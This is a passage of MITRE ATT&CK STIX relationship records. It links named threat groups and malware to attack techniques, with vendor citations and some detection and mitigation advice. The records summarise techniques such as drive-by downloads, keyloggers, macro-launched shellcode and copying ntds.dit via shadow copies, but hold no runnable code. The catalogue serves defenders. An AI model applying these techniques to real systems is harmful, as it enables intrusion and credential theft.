2021)","modified":"2022-06-30T20:15:32.698Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18771b0e-2d4b-4f76-ae1e-9cdac1c77cd0","type":"relationship","created":"2020-06-26T14:21:13.800Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"},{"source_name":"Volexity Ocean Lotus November 2020","url":"https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/","description":"Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."}],"modified":"2020-11-24T21:27:55.074Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has used JavaScript for drive-by downloads and C2 communications.(Citation: Cybereason Cobalt Kitty 2017)(Citation: Volexity Ocean Lotus November 2020)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1878edcb-e458-494c-81a5-34d8a0390957","type":"relationship","created":"2021-10-07T21:28:23.927Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-19T00:43:30.256Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) uses AppleScript to check the host's language and location with the command user locale of (get system info).(Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1879905d-a4f6-43a7-aafe-a7e436e5c559","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Operation Groundbait","description":"Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}],"modified":"2020-03-16T17:33:49.302Z","description":"[Prikormka](https://attack.mitre.org/software/S0113) contains a keylogger module that collects keystrokes and the titles of foreground windows.(Citation: ESET Operation Groundbait)","relationship_type":"uses","source_ref":"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--187b15ea-f564-4abf-80d8-756115f47be2","created":"2024-05-22T23:08:28.248Z","revoked":false,"external_references":[{"source_name":"CheckPoint Agrius 2023","description":"Marc Salinas Fernandez & Jiri Vinopal. (2023, May 23). AGRIUS DEPLOYS MONEYBIRD IN TARGETED ATTACKS AGAINST ISRAELI ORGANIZATIONS. Retrieved May 21, 2024.","url":"https://research.checkpoint.com/2023/agrius-deploys-moneybird-in-targeted-attacks-against-israeli-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T23:08:28.248Z","description":"[Moneybird](https://attack.mitre.org/software/S1137) targets a common set of file types such as documents, certificates, and database files for encryption while avoiding executable, dynamic linked libraries, and similar items.(Citation: CheckPoint Agrius 2023)","relationship_type":"uses","source_ref":"malware--47ab6350-054f-4754-ba4d-e52a4e8751e2","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--187c8a97-3ba1-476e-8377-592adb8e70a3","type":"relationship","created":"2019-03-11T19:24:08.152Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.379Z","description":"[Empire](https://attack.mitre.org/software/S0363) has a module for creating a local user if permissions allow.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--188366e1-a2a9-4025-ac5a-ce56d940094a","created":"2023-02-10T18:26:50.637Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T15:12:15.418Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) has used VBA macros to execute shellcode.(Citation: HP SVCReady Jun 2022)","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1884086e-4ea7-4e8d-b81a-14471eab6ee5","created":"2024-05-25T16:19:56.707Z","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-25T16:19:56.707Z","description":"[Saint Bear](https://attack.mitre.org/groups/G1031) has delivered malicious Microsoft Office files containing an embedded JavaScript object that would, on execution, download and execute [OutSteel](https://attack.mitre.org/software/S1017) and [Saint Bot](https://attack.mitre.org/software/S1018).(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","relationship_type":"uses","source_ref":"intrusion-set--674582ec-51c4-42ce-b409-797239e37a2a","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1884ba87-a1c8-496b-9517-abb379911166","type":"relationship","created":"2021-03-24T20:25:01.355Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Antiy CERT Ramsay April 2020","url":"https://www.programmersought.com/article/62493896999/","description":"Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}],"modified":"2021-03-24T20:25:01.355Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can use [ipconfig](https://attack.mitre.org/software/S0100) and [Arp](https://attack.mitre.org/software/S0099) to collect network configuration information, including routing information and ARP tables.(Citation: Antiy CERT Ramsay April 2020)","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1888d04c-e3ba-47bc-adb3-ab8066678772","type":"relationship","created":"2020-03-25T13:56:40.804Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99","description":"Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.","source_name":"Symantec Darkmoon Aug 2005"}],"modified":"2020-03-25T13:56:40.804Z","description":"[PoisonIvy](https://attack.mitre.org/software/S0012) creates a Registry subkey that registers a new service. [PoisonIvy](https://attack.mitre.org/software/S0012) also creates a Registry entry modifying the Logical Disk Manager service to point to a malicious DLL dropped to disk.(Citation: Symantec Darkmoon Aug 2005)","relationship_type":"uses","source_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--188af237-b6f2-4b69-9a53-af231eaa52dd","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to deactivation of instances that are occurring outside of planned operations. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","source_ref":"x-mitre-data-component--1361e324-b594-4c0e-a517-20cee32b8d7f","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1896ca51-adf4-4a3b-be89-1aae18465741","type":"relationship","created":"2021-12-07T15:04:35.808Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"},{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."},{"source_name":"CISA AA20-296A Berserk Bear December 2020","url":"https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions","description":"CISA. (2020, December 1). Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets. Retrieved December 9, 2021."}],"modified":"2021-12-10T14:18:11.856Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has compromised user credentials and used valid accounts for operations.(Citation: US-CERT TA18-074A)(Citation: Gigamon Berserk Bear October 2021)(Citation: CISA AA20-296A Berserk Bear December 2020)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18983529-5998-4f76-be90-f6e9cdd9f33d","type":"relationship","created":"2019-06-19T15:13:21.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","source_name":"ESET Turla PowerShell May 2019"}],"modified":"2019-07-14T21:04:44.986Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used PowerShell profiles to maintain persistence on an infected machine.(Citation: ESET Turla PowerShell May 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1898925b-236a-4847-8a97-e934c07cdde1","type":"relationship","created":"2020-05-26T17:14:42.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Whitefly March 2019","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/whitefly-espionage-singapore","description":"Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020."}],"modified":"2020-05-26T17:14:42.959Z","description":"[Whitefly](https://attack.mitre.org/groups/G0107) has the ability to download additional tools from the C2.(Citation: Symantec Whitefly March 2019)","relationship_type":"uses","source_ref":"intrusion-set--b74f909f-8e52-4b69-b770-162bf59a1b4e","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--18a2df13-e78e-46ca-9074-17c97d19ad55","created":"2023-08-02T18:17:32.154Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-08T17:13:44.813Z","description":"(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"tool--294e2560-bd48-44b2-9da2-833b5588ad11","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18a86d7f-ebe0-4dd7-a5e0-f049c884b607","type":"relationship","created":"2020-02-11T18:38:56.281Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:38:56.281Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18aa9fc3-5269-4205-a58e-6aeb127c38f4","type":"relationship","created":"2020-02-20T15:35:00.337Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-EU DDoS March 2017","url":"http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf","description":"Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019."}],"modified":"2022-03-25T18:07:45.441Z","description":"Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--18ad6ce1-78a8-4f69-badb-2b5e2cdc8691","created":"2022-07-29T19:35:16.568Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T23:42:25.610Z","description":"Monitor for a file that may delete or alter generated artifacts associated with persistence on a host system.","relationship_type":"detects","source_ref":"x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8","target_ref":"attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18b2b3f9-8ed6-44e3-804e-ee0acc3457fb","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Monitor network traffic for anomalies associated with known AiTM behavior.","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--18b6546b-90a1-4f70-8faf-505810bba9a6","created":"2024-04-05T17:56:30.694Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"},{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:35:58.088Z","description":"The [Ninja](https://attack.mitre.org/software/S1100) payload is XOR encrypted and compressed.(Citation: Kaspersky ToddyCat Check Logs October 2023) [Ninja](https://attack.mitre.org/software/S1100) has also XORed its configuration data with a constant value of `0xAA` and compressed it with the LZSS algorithm.(Citation: Kaspersky ToddyCat June 2022)(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--18ba352d-274c-4cb5-8916-d95035a2423c","created":"2023-04-10T17:14:00.713Z","revoked":false,"external_references":[{"source_name":"Kaspersky LuminousMoth July 2021","description":"Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.","url":"https://securelist.com/apt-luminousmoth/103332/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T17:14:00.713Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has hosted malicious payloads on Dropbox.(Citation: Kaspersky LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18c07e03-0456-4854-bf63-07eb6d6bd868","type":"relationship","created":"2021-05-26T15:26:09.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."},{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."},{"source_name":"CISA AR21-126A FIVEHANDS May 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."}],"modified":"2021-06-08T13:29:06.809Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) can use the getprocesslist command to enumerate processes on a compromised host.(Citation: BlackBerry CostaRicto November 2020)(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18c39a72-26d4-4e43-ad59-d3dcdacc592f","type":"relationship","created":"2021-10-01T20:30:42.056Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}],"modified":"2021-10-15T16:54:01.150Z","description":"(Citation: Volexity InkySquid BLUELIGHT August 2021)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--18c44352-1eca-4d6e-9eac-9793b75223df","created":"2023-09-15T13:39:50.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:35:02.557Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can use a PowerShell object such as, `System.Net.NetworkInformation.Ping` to ping a computer.(Citation: BitDefender BADHATCH Mar 2021)","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--18cccfc2-e5a7-41ca-93ad-4ffef966b50b","created":"2024-07-25T20:42:55.942Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T20:42:55.942Z","description":"[MgBot](https://attack.mitre.org/software/S1146) includes modules for collecting information on Active Directory domain accounts.(Citation: Symantec Daggerfly 2023)","relationship_type":"uses","source_ref":"malware--a36eedea-9523-4abb-96e8-205f171ee763","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--18d29bb2-655b-4e3d-9759-32a74be3eb75","type":"relationship","created":"2020-05-14T14:38:22.630Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Ryuk January 2019","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/","description":"Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."}],"modified":"2020-05-14T14:38:22.630Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) has called CreateToolhelp32Snapshot to enumerate all running processes.(Citation: CrowdStrike Ryuk January 2019)","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--18d36fff-42e8-4b33-b747-9b898a594eb2","created":"2023-09-28T03:47:29.934Z","revoked":false,"external_references":[{"source_name":"Cary Esentutl","description":"Cary, M. (2018, December 6). Locked File Access Using ESENTUTL.exe. Retrieved September 5, 2019.","url":"https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/"},{"source_name":"LOLBAS Esentutl","description":"LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019.","url":"https://lolbas-project.github.io/lolbas/Binaries/Esentutl/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-28T03:47:29.934Z","description":"[esentutl](https://attack.mitre.org/software/S0404) can use the Volume Shadow Copy service to copy locked files such as `ntds.dit`.(Citation: LOLBAS Esentutl)(Citation: Cary 